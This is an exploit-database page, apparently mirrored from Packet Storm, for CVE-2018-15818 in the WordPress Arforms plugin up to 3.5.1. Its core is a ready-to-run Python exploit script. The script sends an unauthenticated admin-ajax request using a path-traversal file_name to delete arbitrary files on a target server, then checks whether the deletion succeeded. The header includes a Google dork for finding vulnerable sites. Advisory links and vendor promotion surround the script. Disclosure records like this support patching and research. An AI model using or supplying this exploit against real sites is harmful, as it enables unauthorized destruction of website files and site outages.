Lucene search
K

WordPress Arforms 3.5.1 Arbitrary File Delete

🗓️ 27 Oct 2018 00:00:00Reported by Amir Hossein MahboubiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 268 Views

WordPress Arforms 3.5.1 - File Deletion Exploi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
WordPress Arforms 3.5.1 Arbitrary File Delete Exploit
28 Oct 201800:00
zdt
CNVD
WordPress Arforms 3.5.1 Arbitrary File Deletion Vulnerability
29 Oct 201800:00
cnvd
CVE
CVE-2018-15818
17 Mar 201921:30
cve
Cvelist
CVE-2018-15818
17 Mar 201921:30
cvelist
EUVD
EUVD-2018-7676
7 Oct 202500:30
euvd
NVD
CVE-2018-15818
21 Mar 201916:00
nvd
OSV
CVE-2018-15818
21 Mar 201916:00
osv
Prion
Design/Logic Flaw
21 Mar 201916:00
prion
RedhatCVE
CVE-2018-15818
22 May 202506:49
redhatcve
WPVulnDB
ARForms < 3.5.2 - Unauthenticated Arbitrary File Deletion
27 Oct 201800:00
wpvulndb
Rows per page
`# Exploit Title: WordPress Plugin Arforms 3.5.1 - Delete arbitrary file  
# Google Dork: /plugins/arforms/  
# Date: 2018-10-17  
# Exploit Author: Amir Hossein Mahboubi  
# Twitter: @Mahboubi66  
# Vendor Homepage: https://www.arformsplugin.com/  
# Version: <=3.5.1  
# Tested on: Linux & Windows  
# CVE : CVE-2018-15818  
  
#!/usr/bin/python  
import requests  
import sys  
  
headers = {  
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",  
"Accept": "*/*",  
"Accept-Language": "en-US,en;q=0.5",  
"Accept-Encoding": "gzip, deflate",  
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",  
"X-Requested-With": "XMLHttpRequest",  
"Connection": "close"  
}  
  
print "\n"   
if(len(sys.argv)<3):  
print "Please enter WP URL as first argument and file address that you want to delete as second one\n\  
for example if WP is installed in the root directory of www.example.com and we want to delete index.php\n\  
the exploit format should be: python arforms.py www.example.com index.php"  
exit()  
  
r = requests.get(sys.argv[1]+sys.argv[2], headers=headers)  
if(r.status_code==404):  
print "The specified file doesn't exist on the host"  
exit()  
  
  
url = sys.argv[1]+'/wp-admin/admin-ajax.php'  
  
payload = {  
"action":"arf_delete_file",  
"file_name":"../../../../"+sys.argv[2]  
}  
  
  
r = requests.post(url, data=payload, headers=headers)  
if(r.status_code!=200):  
print "The specified URL is not a wordpress installation or the plugin isn't installed"  
else:  
r = requests.get(sys.argv[1]+sys.argv[2], headers=headers)  
if(r.status_code!=200):  
print "Operation completed"  
else:  
print "The target isn't vulnerable"  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Oct 2018 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.0074
268